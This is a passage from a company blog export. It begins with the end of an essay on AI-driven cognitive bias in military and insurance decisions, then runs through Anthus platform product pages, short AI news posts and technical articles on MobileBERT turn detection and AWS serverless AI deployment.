The investor Charlie Munger spent decades evangelizing a technique he called "inversion" — the discipline of asking not "how does this succeed?" but "how does this fail?" Munger argued that humans are constitutionally bad at this. We plan forward from our desired outcome. We do not naturally ask what kills the plan. Large language models are, in a sense, the perfect inversion tool. They have no ego investment in the plan. They face no career consequences for identifying the failure mode. They are perfectly willing to tell a four-star general that his campaign will fail, if asked.

The problem is that nobody asked. The institutional culture of the Pentagon in early 2026 was optimized for confirmation, not inversion. The AI strategy memo pushed speed over scrutiny. The confrontation with Anthropic established that safety concerns would be treated as sabotage. ==An analysis in *The Nation*==[@nation-2026-ai-the-pentagon-and-hegseth-s] of Hegseth's strategy cut to the core: "Without firm policy guardrails, AI may amplify risk rather than reduce it, putting more emphasis on hitting targets quickly than on why those targets are being chosen in the first place."

It is important to be precise about what this war reveals. The Iran war would very likely have happened without AI. The ideological and political forces driving it were sufficient on their own. What AI did was shape the *form* of the war in ways that made the strategic failure worse than it needed to be — the thousand-target opening salvo, the confidence in rapid regime collapse, the absence of a contingency plan — and compound the confirmation bias that drove the planning process with automation bias and recency bias in a cascade that Kahneman's framework predicts and Reason's model explains. The AI-generated assessment crowded out the human dissenters not by being more accurate but by being more prolific, more quantified, and more institutionally credentialed.

And it did this at precisely the moment when the institutional safeguards against these biases were being deliberately dismantled — by the same people deploying the technology.

## Beyond the battlefield

But this is not, ultimately, a story about one war.

The three-bias cascade — automation bias converting deliberate judgments into automatic reflexes, confirmation bias locking the door against disconfirming evidence, recency bias anchoring confidence to the most recent string of successes — is not a military-specific phenomenon. It is a property of human cognitive architecture interacting with competent AI systems in *any* high-stakes domain. The mechanism operates identically whether the human in the loop is approving a target, adjudicating a health insurance claim, signing off on a loan algorithm, accepting a diagnostic recommendation, or reviewing an AI-generated legal brief.

The institutional conditions that made the Iran failure possible are not unique to the Pentagon either. Speed over scrutiny. Efficiency metrics that reward throughput. The reframing of safety guardrails as friction or ideology. Human-in-the-loop as compliance theater — a legal and procedural fiction that preserves the appearance of human judgment while the underlying cognitive engagement has been hollowed out. The absence of any institutional requirement for adversarial testing, for inversion, for the six-word prompt that costs nothing and might change everything.

These are features of how AI is being deployed far beyond the military, right now, today. The pattern has already surfaced in civilian life. In 2023, ProPublica revealed that Cigna, one of America's largest health insurers, had deployed an algorithm to flag claims for denial. ==Its physicians==[@propublica-2026-how-cigna-saves-millions-by-having], legally required to exercise clinical judgment, signed off on the algorithm's decisions in batches, spending an average of 1.2 seconds per claim. Twenty seconds to approve a military strike. 1.2 seconds to deny a health insurance claim. In both cases, the human was in the loop. In both cases, their System 2 was not.

The latent failures are accumulating — hidden behind high-technology interfaces, building silently in the gap between what the human is formally responsible for and what the human is actually doing. Wherever AI is making consequential decisions faster without any institutional requirement for adversarial testing — without requiring the system, or the human, or anyone at all to ask *how could this go wrong?* — the holes in the cheese are opening.

The Iran war was not an anomaly. It was the first time the holes aligned at a scale visible to the entire world. It will not be the last.

Robert Pape, ==speaking on Democracy Now in April 2026==[@democracy-now-2026-strait-of-hormuz-and-robert-pape], described where the escalation trap had led: "Iran is far stronger than it was just forty days ago. It is in control of twenty percent of the world's oil. It is now an emerging fourth center of power." ==The technology that enabled the most tactically efficient military campaign in American history==[@conversation-2026-iran-war-shows-how-ai-speeds] succeeded brilliantly at compressing the kill chain, processing targets, and generating strike packages. It did not — because it was never asked to — question whether any of it would work.

The simulation told them they would win. The real war told them otherwise. And right now, in every domain where AI is making consequential decisions at machine speed with human oversight at human depth, other simulations are telling other institutions that everything is fine.

The six-word prompt is still available. It costs nothing. It applies in every domain.

*How could we screw this up?*

The question is whether anyone will type it before the next set of holes aligns — or after.

## References

::citations{format="apa"}

---

# Virtuus

> Virtuus is the Anthus structured-data layer: a filesystem-native virtual table engine for JSON records with just-in-time indexing and fast query access after load.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-27

Canonical: https://anth.us/platform/virtuus/

## What it is

Virtuus represents a recurring Anthus design choice: keep the source of truth simple, visible, and portable. It treats directories of JSON files as indexed tables, which makes structured data queryable in environments where a heavyweight always-on database is the wrong fit.

## What it does

- Represents records as per-file JSON while preserving table-like query semantics.
- Supports primary keys, secondary indexes, associations, search, and pagination.
- Optimizes for cold-start-friendly workloads where data is loaded once and queried often.
- Provides Python and Rust implementations around the same behavioral model.

## Why it matters

Not every agent workload wants a remote database. Some need to run in isolated, resumable, or regulated environments where the filesystem is the practical durable substrate. Virtuus exists for that class of problem.

## How it fits the Anthus Platform

Virtuus is a foundational infrastructure component. [Caducus](/platform/caducus) already uses it for event storage. [Tactus](/platform/tactus) procedures and other isolated workers can use it when they need fast local queries without depending on a central service. It makes the rest of the platform more portable.

A common pattern is [Virtuus](/platform/virtuus) + [Tactus](/platform/tactus) + [Caducus](/platform/caducus): keep structured state local, make the worker portable, and retain enough query power for analysis and triage.

---

# VideoML

> VideoML is the Anthus video pipeline for representing video as code, generating script and timing artifacts, and rendering automatable media workflows.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-27

Canonical: https://anth.us/platform/videoml/

## What it is

VideoML is the code-first media pipeline behind Anthus's programmable video work. It turns authored source into scripts, timelines, audio, and rendered outputs so explainers, demos, and marketing assets can move through reproducible workflows instead of staying trapped in manual editing tools.

## What it does

- Generates script, timeline, and audio artifacts from declarative source.
- Supports end-to-end media pipelines from generation through render.
- Integrates with browser bundles and player components for previews.
- Provides the rendering substrate that higher-level tools can build on.

## Why it matters

Video is increasingly part of product delivery, documentation, and go-to-market work. Anthus wants to treat that medium with the same rigor as software: versioned inputs, deterministic outputs, automated rendering, and repeatable review loops.

## How it fits the Anthus Platform

VideoML is the media substrate that powers [Babulus](/platform/babulus). On the site, it deserves its own page because it helps explain that the Anthus Platform is not only about agent infrastructure; it is also about extending software discipline into adjacent operational workflows like communications and marketing.

A common pattern is [Biblicus](/platform/biblicus) + [Babulus](/platform/babulus) + [VideoML](/platform/videoml): ground the source material, script the narrative, and render deterministic media assets from the same pipeline.

---

# Korporus

> Korporus is the Anthus application shell and AI-agent operating environment: a federated, containerized host for platform apps, shared UX chrome, and modular web interfaces.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-27

Canonical: https://anth.us/platform/korporus/

## What it is

Korporus is the OS-shaped layer of the Anthus Platform. It provides a shell that can host independently built web applications through module federation and web-component contracts, so the platform can grow as a suite instead of collapsing into one giant coupled app.

## What it does

- Loads independently deployed modules into a shared application shell.
- Standardizes app manifests, slots, chrome, and settings patterns.
- Supports containerized deployment and shared operational infrastructure.
- Provides a natural host environment for platform interfaces and workers.

## Why it matters

When a platform grows, the user experience can either become fragmented or monolithic. Korporus is the compromise we want: one runtime and one shell, with modular apps that can still evolve independently.

## How it fits the Anthus Platform

Korporus is the surface where the rest of the platform can come together. [Primus](/platform/primus) services can sit behind it. [Kanbus](/platform/kanbus), [Tactus](/platform/tactus), and future operator or knowledge interfaces can appear inside it. It is the most literal expression of the phrase "Anthus Platform."

A common pattern is [Korporus](/platform/korporus) + [Tactus](/platform/tactus) + [Caducus](/platform/caducus): host the service in a shared shell, run durable procedures inside it, and make the live system legible to operators.

---

# Caducus

> Caducus is an application-health and operator-assistance system that turns noisy operational events into prioritized issue patterns, alerts, and level-zero triage support.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-27

Canonical: https://anth.us/platform/caducus/

## What it is

Caducus is the beginning of an operator-agent layer for the Anthus Platform. It takes logs and operational events, clusters them into meaningful patterns, and surfaces a small radar of issues that matter now instead of forcing humans to dig through raw noise.

## What it does

- Ingests events and demo datasets into a normalized operational view.
- Groups semantically related incidents into ranked issue patterns.
- Highlights recency, recurrence, and size so operators can triage effectively.
- Uses file-backed storage and semantic analysis components from the broader Anthus stack.

## Why it matters

Reliable AI systems need the same thing every other production system needs: operators who can understand what is happening quickly. Caducus is about shortening that path from "something is wrong" to "this is the pattern worth investigating first."

## How it fits the Anthus Platform

Caducus depends on [Virtuus](/platform/virtuus) for storage and [Biblicus](/platform/biblicus) concepts for semantic clustering and reinforcement memory. In the broader platform story, it represents the observability and operator-support layer that complements agent execution and MLOps.

A common pattern is [Primus](/platform/primus) + [Korporus](/platform/korporus) + [Caducus](/platform/caducus): govern the system, run it in a standard shell, and give operators a clearer picture of what is happening in production.

---

# Biblicus

> Biblicus is the Anthus corpus-analysis platform for extraction, retrieval, and evidence-first knowledge workflows over real document collections.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-27

Canonical: https://anth.us/platform/biblicus/

## What it is

Biblicus is a file-first corpus and retrieval system. It treats the filesystem as the source of truth, then layers extraction, indexing, retrieval, and analysis on top so agent workflows can work from inspectable evidence instead of opaque black boxes.

## What it does

- Ingests notes, files, URLs, and crawled sites into structured corpora.
- Runs pluggable extraction pipelines over PDFs, OCR, speech, and other inputs.
- Builds retrieval backends and context packs for RAG-style workloads.
- Supports reinforcement-memory style analysis over timestamped human feedback and notes.

## Why it matters

Knowledge systems get fragile when the data model is hidden behind vendor-specific storage and magical retrieval behavior. Biblicus keeps the corpus legible, rebuildable, and easy to evolve as extraction and retrieval techniques change.

## How it fits the Anthus Platform

Biblicus provides the knowledge substrate for the platform. [Tactus](/platform/tactus) can use it to ground procedures in evidence. [Primus](/platform/primus) can consume feedback-oriented analysis. [Caducus](/platform/caducus) can use its semantic clustering and memory concepts to make noisy operational data more useful.

A common pattern is [Biblicus](/platform/biblicus) + [Tactus](/platform/tactus) + [Babulus](/platform/babulus): curate the source corpus, define the extraction or analysis procedure, then turn the result into content or video output.

---

# Babulus

> Babulus is an AI-agent-driven marketing automation system that treats video production as code, with narration-first workflows, generated assets, and deterministic previews.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-27

Canonical: https://anth.us/platform/babulus/

## What it is

Babulus is the authoring layer for Anthus's programmable media workflows. Instead of hiding video production in manual editor sessions, it uses a TypeScript DSL, generated scripts, generated audio, and render pipelines so content creation can move through code review and automation.

## What it does

- Defines scenes, narration, cues, music, and effects as source code.
- Generates script and timeline artifacts for preview and rendering workflows.
- Integrates with provider-based audio generation and media services.
- Supports a control-plane plus worker-plane architecture for previewing and rendering at scale.

## Why it matters

Marketing automation usually breaks down at the moment creative assets have to be rebuilt by hand. Babulus narrows that gap. It lets teams automate repeatable video production without losing the ability to inspect, diff, review, and approve the result.

## How it fits the Anthus Platform

Babulus sits on top of [VideoML](/platform/videoml), which supplies the underlying video pipeline and rendering toolchain. Together they extend the Anthus Platform beyond agents and infrastructure into narrative systems, demos, feature explainers, and product communications.

A common pattern is [Biblicus](/platform/biblicus) + [Babulus](/platform/babulus) + [VideoML](/platform/videoml): use a living corpus as the source of truth, then generate repeatable explainers, launch assets, and video outputs from code.

---

# Perplexity ships an Agent API

> Everybody has an agent platform these days. Perplexity's is search, tools, and multi-model orchestration behind one endpoint.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-03-11

Canonical: https://anth.us/articles/perplexity-agent-api/

::image{
  src="images/posts/perplexity-agent-api.png"
  layout="center-small-image"
  alt="Perplexity Agent API: a managed runtime for agentic workflows"
}

[Perplexity's Agent API](https://www.perplexity.ai/hub/blog/agent-api-a-managed-runtime-for-agentic-workflows) is a managed runtime for the agent loop: search, tool execution, reasoning, and multi-model fallback, one endpoint and one key. They say it replaces a model router, a search layer, an embeddings provider, a sandbox, and a monitoring stack. Built-in `web_search` and `fetch_url`, plus your own functions.

Everybody has an agent platform these days.

---

# Repeat the prompt when the model is not reasoning

> When reasoning is off, send the query twice. Gemini, GPT, Claude, and Deepseek all improved, with no extra output tokens and no extra latency.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-02-28

Canonical: https://anth.us/articles/prompt-repetition/

::image{
  src="images/posts/prompt-repetition.png"
  layout="center-small-image"
  alt="Figure 1 from Prompt Repetition Improves Non-Reasoning LLMs: 47 significant wins, 0 losses"
}

A pattern worth trying: when the model is not reasoning, send the query twice. `<QUERY>` becomes `<QUERY><QUERY>`. Causal models cannot look ahead, so token order matters. The second copy lets every prompt token attend to every other prompt token.

[Prompt Repetition Improves Non-Reasoning LLMs](https://arxiv.org/abs/2512.14982v1) measured that on Gemini, GPT, Claude, and Deepseek. 47 significant wins out of 70, zero losses. Output length and latency stay flat because the extra work is in prefill. The response format does not change, so it is a drop-in. With reasoning on, the paper found it mostly neutral.

Do not pad with dots. The gain is the second copy, not the extra length. On some retrieval-style tasks, three copies beat two.

---

# OpenClaw is the third name this week

> Clawdbot became Moltbot, then OpenClaw, in about 72 hours. The lobster kept the job. The personal agent on your machine is the part that will last.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-01-30

Canonical: https://anth.us/articles/openclaw/

::image{
  src="images/posts/openclaw.png"
  layout="center-small-image"
  alt="openclaw/openclaw on GitHub: a personal AI assistant, the lobster way"
}

[OpenClaw](https://openclaw.ai/blog/introducing-openclaw) is the name as of Friday. On Tuesday it was Clawdbot, until Anthropic asked about the closeness to Claude and the lobster named Clawd. The replacement, Moltbot, lasted about three days. Molting is what lobsters do. It did not roll off the tongue. OpenClaw is the third public name. The git history is worse: Warelay, then Clawdis, before anyone famous was watching.

The product under the aliases is the reason to care. It runs on your machine — laptop, homelab, or VPS — and talks through WhatsApp, Telegram, Discord, Slack. Your keys. Your data. A personal agent that is actually local, not a SaaS assistant with a chat skin. Peter Steinberger also says the quiet part: prompt injection is still unsolved, so a thing with shell and files on your box is a serious object.

Rename the binary again if you must. The category is the always-on agent that lives where you already message people, with the blast radius of a process you started. That is worth tracking. The branding is a running gag.

---

# Beautiful Mermaid renders diagrams as SVG and ASCII

> Beautiful Mermaid is an open source Mermaid renderer from Craft: 16 themes, SVG and ASCII, built to be fast enough for agents.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-01-29

Canonical: https://anth.us/articles/beautiful-mermaid/

::image{
  src="images/posts/beautiful-mermaid.png"
  layout="center-small-image"
  alt="Beautiful Mermaid, an open source diagram renderer from Craft"
}

[Beautiful Mermaid](https://agents.craft.do/mermaid) is an open source Mermaid renderer from the Craft team. Sixteen themes. SVG and ASCII. Flowcharts, sequence, class, ER, state, and charts. The [source is on GitHub](https://github.com/lukilabs/beautiful-mermaid).

The useful part for agents is the output: a file, not a screenshot of a website.

---

# The Turn Detection Trap: When 100% Accuracy is Wrong

> We fine-tuned MobileBERT for turn detection and achieved 100% accuracy. Then we realized we hadn't solved turn detection at all—we had just built a very expensive punctuation detector.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-11-22

Canonical: https://anth.us/articles/domain-specific-turn-detection/

::image{
  src="images/domain-specific-turn-detection.png"
  layout="center-full-image"
  alt="Domain-Specific Turn Detection"
}

Turn detection is the subtle art of knowing when a user has finished speaking. In a voice bot, getting this wrong leads to two painful failure modes:

1.  **The Interruption**: The bot cuts you off while you're pausing to check your credit card number.
2.  **The Awkward Silence**: You finish speaking, and the bot stares blankly for three seconds before replying.

Most systems rely on a standard Voice Activity Detector (VAD) or a general-purpose language model. We wanted to answer a specific question: **"If we keep the architecture and latency target fixed (MobileBERT, less than 50ms) and only change the training corpus from 'general conversations' to 'call-center transcripts', how much accuracy do we gain?"**

We ran the experiment. We got the results. And for a brief, shining moment, we thought we had solved turn detection forever.

We achieved **100% accuracy**.

Then we looked closer.

## Phase 1: The "Perfect" Model

We trained four different model variants based on **MobileBERT**, chosen for its speed on CPU. All models were fine-tuned to classify text as "Complete" (turn over) or "Incomplete" (user still speaking).

1.  **Model_General**: Trained on PersonaChat and TURNS-2K (casual conversation).
2.  **Model_Domain**: Trained on the AIxBlock Call Center dataset (support calls).
3.  **Model_Agent**: Trained only on agent utterances.
4.  **Model_Customer**: Trained only on customer utterances.

To prevent memorization, we enforced a **one-shot rule**: every unique sentence appeared exactly once in the training set.

### The Initial Results

When we tested our domain-specific model on the call center test set, the results were literally perfect.

::image{
  src="images/turn-detection-confusion-matrix.png"
  layout="center-full-image"
  alt="Confusion Matrix showing 100% accuracy"
}

*   **Model_General**: 87.5% accuracy
*   **Model_Domain**: **100.0% accuracy**

We had improved accuracy by 12.5 percentage points just by switching to domain-specific data. It seemed that "completeness" in a call center context was highly pattern-based, and our model had learned those patterns perfectly.

We were ready to declare victory. But 100% accuracy in machine learning is usually a red flag. It means you either leaked data into your test set, or your model found a cheat code.

## Phase 2: The Punctuation Trap

We decided to stress-test the model by simulating a real-time stream. In a real voice bot, text arrives word-by-word from the Automatic Speech Recognition (ASR) system.

We fed the sentence `"Is it a 250 or 350?"` into the model one word at a time to see *when* it decided the turn was complete.

```text
| Word(s)             | General Model | Domain Model |
|---------------------|---------------|--------------|
| Is                  | Incomplete    | Incomplete   |
| Is it               | Incomplete    | Incomplete   |
| Is it a             | Incomplete    | Incomplete   |
| Is it a 250         | Incomplete    | Incomplete   |
| Is it a 250 or      | Incomplete    | Incomplete   |
| Is it a 250 or 350? | Complete      | Complete     |
```

Both models held "Incomplete" steadily until the very last token. But look closely at that last token. It has a question mark.

We asked a simple question: **What happens if the ASR system is slow to send punctuation?**

We stripped the punctuation from the test set and re-ran the evaluation.

*   Original: `"Is it a 250 or 350?"` → **Complete**
*   Normalized: `"is it a 250 or 350"` → **Incomplete**

The results were devastating. Our "perfect" domain model's predictions flipped in **67% of cases** when punctuation was removed.

We hadn't built a semantic turn detector. We had built a **punctuation detector**.

The model had learned a simple rule:
*   Ends with `.` or `?` → Complete
*   No punctuation → Incomplete

This is useless in production. ASR systems typically insert punctuation *after* they have determined a pause is significant. If our model waits for the punctuation to decide the turn is over, it's just echoing the ASR system's decision 50ms later. We aren't adding intelligence; we're adding latency.

## Phase 3: Forcing Semantic Understanding

To build a model that actually *understands* when a sentence is grammatically or semantically complete, we had to blind it to the cheat codes.

We retrained all our models on **normalized text**: lowercase, no punctuation.
*   Original: `"Yeah, that's fine."`
*   Normalized: `"yeah thats fine"`

If the model wanted to know if the sentence was done, it would have to learn that "that's fine" is a complete thought, whereas "that's fine if" is not.

### The Real Results

On the normalized test set, the truth came out.

*   **General Normalized**: 72.2% accuracy on call center data.
*   **Domain Normalized**: **77.9% accuracy** on call center data.

The 100% was a mirage. The real accuracy of semantic turn detection was roughly 78%.

However, this result was actually *more* exciting. It proved that **models can learn turn completion from text alone**, without relying on punctuation. The domain-specific training still provided a **5.7 percentage point lift** (77.9% vs 72.2%).

We had traded fake perfection for real, robust utility. This model could now work on raw ASR streams and provide an independent signal about turn completion.

## Phase 4: Operationalizing the Imperfect

So we have a model that is 78% accurate. Is that good enough?

In a 20-turn conversation, an 80% accuracy rate implies 4 errors. Those errors come in two flavors:
1.  **Interruptions**: Predicting "Complete" too early.
2.  **Missed Turns**: Predicting "Incomplete" when the user is done.

For customer service, interruptions are deadly. They make the bot feel aggressive and "broken." Missed turns just feel like lag.

We analyzed the **Interruption Rate (IR)** of our new normalized model and found it was interrupting users in **22.4%** of turns. That's way too high.

But we realized we could tune the **decision threshold**. By default, the model predicts "Complete" if confidence > 50%. By raising that bar, we can tell the model: "Only interrupt the user if you are *really* sure."

::image{
  src="images/turn-detection-threshold-optimization.png"
  layout="center-full-image"
  alt="Threshold optimization chart showing trade-off between interruptions and missed turns"
}

By raising the threshold to **0.74**, we reduced the interruption rate from 12.4% to **5.1%**. The trade-off was a higher Missed Turn Rate (18.7%), meaning the bot would sometimes wait a bit longer to confirm the user was done. For a polite support bot, this is the right trade-off.

## A Note on Training Infrastructure

We approached this experiment with a hybrid workflow. For rapid debugging and code development, we ran training locally on MacBook Pros with M-series chips (Apple Silicon), which are surprisingly capable for fine-tuning smaller BERT models.

However, when it came time to run the full suite of experiments—training four model variants across multiple phases (Original vs. Normalized)—we offloaded the work to AWS SageMaker. By spinning up `ml.g4dn.xlarge` instances on demand, we could launch all experiments simultaneously and get results in under an hour, rather than waiting for days of sequential local training.

The codebase is designed to be infrastructure-agnostic. The training script relies on the standard Hugging Face `Trainer` API, so you can run the exact same code on your laptop or scale it up to the cloud if you don't have powerful local hardware.

## The Lessons

Our journey from "100% accuracy" to "78% accuracy" taught us three things about AI development:

1.  **Distrust Perfection**: If a model scores 100%, it's probably cheating. In our case, it was overfitting to ASR punctuation artifacts.
2.  **Test Like You Fly**: Our initial test set had perfect punctuation. Real-time ASR streams don't. Testing on normalized text revealed the model's true capabilities.
3.  **Metrics Aren't Operations**: accuracy is a research metric. In production, you care about **Interruption Rate** vs. **Latency**. Threshold tuning allows you to convert a "mediocre" model into a highly effective product by choosing the right errors to minimize.

You can replicate our results, download the datasets, and see the full code in our [GitHub repository](https://github.com/AnthusAI/turn-detector-fine-tuning).

---

# AWS Lambda for AI/ML

> Serverless isn't just for web apps anymore. Here's how we use the "Serverless AI Stack"—Lambda for orchestration, AgentCore for agents, and SageMaker Serverless for inference—to build production AI systems that scale to zero.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-11-22

Canonical: https://anth.us/articles/aws-lambda-for-ai-ml/

::image{src="images/aws-lambda-for-ai-ml.png" layout="center-full-image" alt="AWS Lambda for AI/ML"}

For years, "serverless AI" felt like a contradiction. AI models needed massive GPUs and long-running processes, while AWS Lambda was built for short, bursty CPU tasks. If you wanted to run a serious AI workload, you spun up an EC2 instance (or twenty) and kept them running.

That has changed. While you still need GPUs for the heaviest lifting, AWS is steadily extending the Function-as-a-Service (FaaS) concept into the AI/ML domain. We now have a complete **Serverless AI Stack** that lets us build complex, production-grade AI systems that sleep when they aren't working and scale instantly when they are.

We run our production AI agents on **AWS Lambda**, and we've been experimenting with two powerful new additions to the serverless AI stack:
1. **AWS Lambda** for orchestration (the "brain stem")
2. **Bedrock AgentCore** for agent runtimes ("Lambda for AI")
3. **SageMaker Serverless Inference** for model execution ("Lambda for ML")

Here is how we use them in production.

## 1. AWS Lambda for Orchestration

We use standard AWS Lambda functions to run **LangChain** and **LangGraph** workflows.

This might sound counter-intuitive. Isn't Lambda too limited for AI? It's true that you can't run a 70-billion parameter LLM *inside* a Lambda function. But that's not what orchestration is. Orchestration is about decision-making, API calling, and state management.

Lambda is actually the perfect host for LangChain and LangGraph apps because of the "scale to zero" property. Orchestration workloads are typically bursty and I/O-bound—spending significant time waiting for the LLM to generate tokens or external tools to finish.

By running the orchestration logic in Lambda, we get:
- **Zero idle cost**: We don't pay for a container to sit there waiting for a user to ask a question.
- **Massive concurrency**: If 1,000 users start a chat at once, AWS spins up 1,000 concurrent execution environments instantly.
- **Python support**: Lambda's Python runtime is first-class, which is critical since the entire AI ecosystem is Python-based.

We package our LangGraph nodes as Lambda functions and use **AWS Step Functions** or DynamoDB to manage the state between turns. This gives us a highly durable, event-driven architecture that costs pennies to operate.

## 2. Bedrock AgentCore: "Lambda for AI"

Standard Lambda has limits—specifically, the 15-minute execution timeout. This kills you when you have an AI agent that needs to perform a long-running task, like analyzing a massive dataset or browsing the web for 30 minutes to find an answer.

Enter **Bedrock AgentCore**. This is what we call "Lambda for AI."

AgentCore is a serverless runtime built specifically for AI agents. It looks and feels like Lambda—you write a handler function, and AWS manages the infrastructure—but it has superpowers designed for agentic workflows:

*   **8-hour runtime**: Agents can run for up to 8 hours, allowing for complex, multi-step reasoning loops that would time out on standard Lambda.
*   **Built-in Memory**: It has a managed memory service that persists conversation history and "long-term memory" facts across sessions.
*   **Identity Management**: It handles OAuth flows so your agent can act *as the user* (e.g., accessing their GitHub or Slack) securely.

You *could* handle long-running tasks by building an intricate AWS Step Functions state machine. But that means building specialized infrastructure custom-fit to one workflow, when what you actually want is just to run code.

Early on, you don't want to do a bunch of AWS architecture work. You just want it to work. AgentCore lets a single instance execute for **hours**, which sidesteps the state-machine complexity and just lets the agent run.

### The "Give an Agent a Tool" Paradigm

We built a demo repo, [AWS-AgentCore-examples](https://github.com/AnthusAI/AWS-AgentCore-examples), to show this in action. It demonstrates a fundamental shift in how we write software—what we call the [**Give an Agent a Tool**](/blog/give-an-agent-a-tool) paradigm:

> *"Give a man a fish and you feed him for a day. Teach a man to fish and you feed him for a lifetime. **Give an agent a tool and nobody has to fish.**"*

Instead of writing explicit logic for every scenario, you provide tools and goals. The repo includes several progressive examples:

1.  **Hello World**: A basic AgentCore structure without AI, showing how the request/response pattern works similarly to Lambda.
2.  **Claude Agent**: Integrating Bedrock to give the agent intelligence.
3.  **Memory Agents**: Demonstrating both Short-Term Memory (STM) for conversation context and Long-Term Memory (LTM) for remembering facts across sessions.
4.  **Code Interpreter Agent**: A "Give an Agent a Tool" example where the agent uses a managed Python sandbox to parse messy CSV files without hard-coded parsing logic.
5.  **Browser Tool Agent**: An agent that browses the web to answer questions, replacing fragile scraping scripts with autonomous navigation.

This is the future of agent deployment: you focus on the prompt and the tools (like the Code Interpreter or Browser), and the platform handles the loop, memory, and security.[@anthus-ai-2024-aws-agentcore-examples]

## 3. SageMaker Serverless Inference: "Lambda for ML"

Finally, what about running the models themselves?

If you need to deploy a custom model—say, a BERT classifier fine-tuned on your industry's jargon—you traditionally had to provision a SageMaker endpoint backed by a real instance (like an `ml.m5.large`). That instance costs money every second it's up, whether anyone is using it or not.

**SageMaker Serverless Inference** is the solution. It is effectively "Lambda for ML models."

You package your model artifacts and inference code, and AWS deploys it to a serverless endpoint. It scales down to zero when not in use. When a request comes in, AWS spins up the compute, loads your model, runs the prediction, and spins it down.

We built a reference implementation for this: [SageMaker-Serverless-Inference-BERT-text-classifier](https://github.com/AnthusAI/SageMaker-Serverless-Inference-BERT-text-classifier).

### DevOps + MLOps: Two Lifecycles in Parallel

The challenge with deploying custom models is that you're managing two lifecycles at once. Our demo repo breaks this down:

1.  **The MLOps Track**: Training the model (in this case, a BERT model fine-tuned on IMDB sentiment data), evaluating its accuracy (93.2%), and registering the artifact.
2.  **The DevOps Track**: Writing the inference code, packaging it with the model, and deploying the infrastructure as code (using AWS CDK).

In our example, we package a **BERT-base-uncased** model with PyTorch inference code. SageMaker handles the rest:

*   **Cold starts**: The first request triggers a "cold start" where AWS provisions the container and loads the 400MB model into memory. This takes about 30-60 seconds.
*   **Warm requests**: Subsequent requests are fast (less than 1 second) because the container stays warm for a while.
*   **Cost**: You pay per millisecond of inference time. A 4GB memory instance running for 100ms costs fractions of a cent ($0.000025). This is perfect for variable traffic.[@anthus-ai-2024-sagemaker-serverless-inference-bert-text-classifier]

## The Gap: GPU Serverless

The one missing piece in this stack is **GPU-accelerated serverless**.

Right now, if you want to run a large language model efficiently, you still need provisioned GPUs. AWS doesn't yet have a "Lambda with H100s" that scales to zero instantly (though cold starts would be a nightmare there anyway).

But for *agent orchestration* and *smaller ML models loaded from S3 buckets*, the tools are already here. By moving your LangChain logic to Lambda and your smaller custom models to SageMaker Serverless, you can build AI platforms that are remarkably robust and cost-efficient.

You don't need a cluster of servers to build an AI company anymore. You just need functions.

::citations{format="apa"}

---

# Speaker Role Classifier

> A real-world example of how the agentic programming paradigm enables rapid solution development. We faced a problem where ambiguity in speaker role names could have made a traditional programmatic solution complex and time-consuming. By giving an AI agent the right tools, we delivered a working sol…

By [Ryan Porter](https://anth.us/ryan) · Published 2025-11-15

Canonical: https://anth.us/articles/speaker-role-classifier/

## Agility Through Agentic Programming

We recently faced a real-world problem: classifying speaker roles in conversation transcripts. The challenge wasn't just the classification itself—it was the ambiguity in how speaker roles might be named and the variety of scenarios we'd need to handle.

In traditional programming, this would require:
- Extensive scenario mapping and edge case handling
- Complex branching logic for different naming conventions
- Ongoing maintenance as new scenarios emerged
- Significant development time before delivering value

Instead, we applied the [**"give an agent a tool"**](/blog/give-an-agent-a-tool) paradigm. By giving an AI agent access to the transcript and letting it figure out the speaker roles, we delivered a working solution quickly and moved on. This is the power of agentic programming: **flexibility and speed**.

## The Problem: Ambiguous Speaker Roles

When you have a conversation transcript where speakers are identified but not labeled, you need to determine their roles. A typical transcript might look like:

```
Speaker 0: Thank you for calling. How can I help you today?
Speaker 1: Hi, I'm having trouble with my account.
Speaker 0: I'd be happy to help with that. Can you provide your account number?
```

The challenge: speaker roles could be named anything—"Agent", "Representative", "Support", "Customer", "Caller", "Client"—and the number of speakers could vary. Building explicit logic to handle all these scenarios would be time-consuming and brittle.

With an AI agent, you just describe what you need, and it figures out the rest.

## The Solution: Give an Agent a Tool

The Speaker Role Classifier gives an AI agent access to the transcript and asks it to classify speaker roles. The agent analyzes:

- **Conversational patterns**: Who initiates, who responds, who asks questions
- **Language style**: Professional vs. casual language
- **Turn-taking**: The flow of conversation reveals relationships
- **Context clues**: References that indicate role

The agent figures out the roles and returns labeled results:

```json
{
  "speaker_0": "Agent",
  "speaker_1": "Customer"
}
```

No complex branching logic. No exhaustive scenario mapping. Just give the agent the tool (access to the transcript) and let it solve the problem.

## Multiple Deployment Options

### Command-Line Interface

```bash
speaker-role-classifier transcript.json
```

Perfect for:
- Batch processing of transcripts
- Integration into data pipelines
- Local development and testing
- Quick validation of results

### Python Library

```python
from speaker_role_classifier import classify_speakers

transcript = load_transcript("call.json")
roles = classify_speakers(transcript)
print(roles)
```

Ideal for:
- Integration into Python applications
- Data science workflows
- Custom processing pipelines
- Jupyter notebook analysis

### AWS Lambda Deployment

The project includes complete AWS CDK infrastructure code for serverless deployment:

```bash
cdk deploy
```

This creates:
- Lambda function with proper IAM roles
- API Gateway endpoint for HTTP access
- CloudWatch logging and monitoring
- Scalable, pay-per-use architecture

The serverless deployment demonstrates:
- **Production-ready infrastructure**: Following AWS Well-Architected principles
- **Infrastructure-as-code**: Reproducible, version-controlled deployments
- **Serverless architecture**: Automatic scaling without server management
- **Enterprise patterns**: Proper security, logging, and monitoring

## Why This Matters: Business Agility

This project demonstrates a fundamental shift in how we build software:

**Traditional Approach:**
- Weeks analyzing all possible scenarios
- Complex code with extensive branching logic
- Ongoing maintenance as new edge cases emerge
- Slow time-to-value

**Agentic Approach:**
- Give the agent the right tools
- Let it figure out the scenarios
- Deliver working solution quickly
- Move on to the next problem

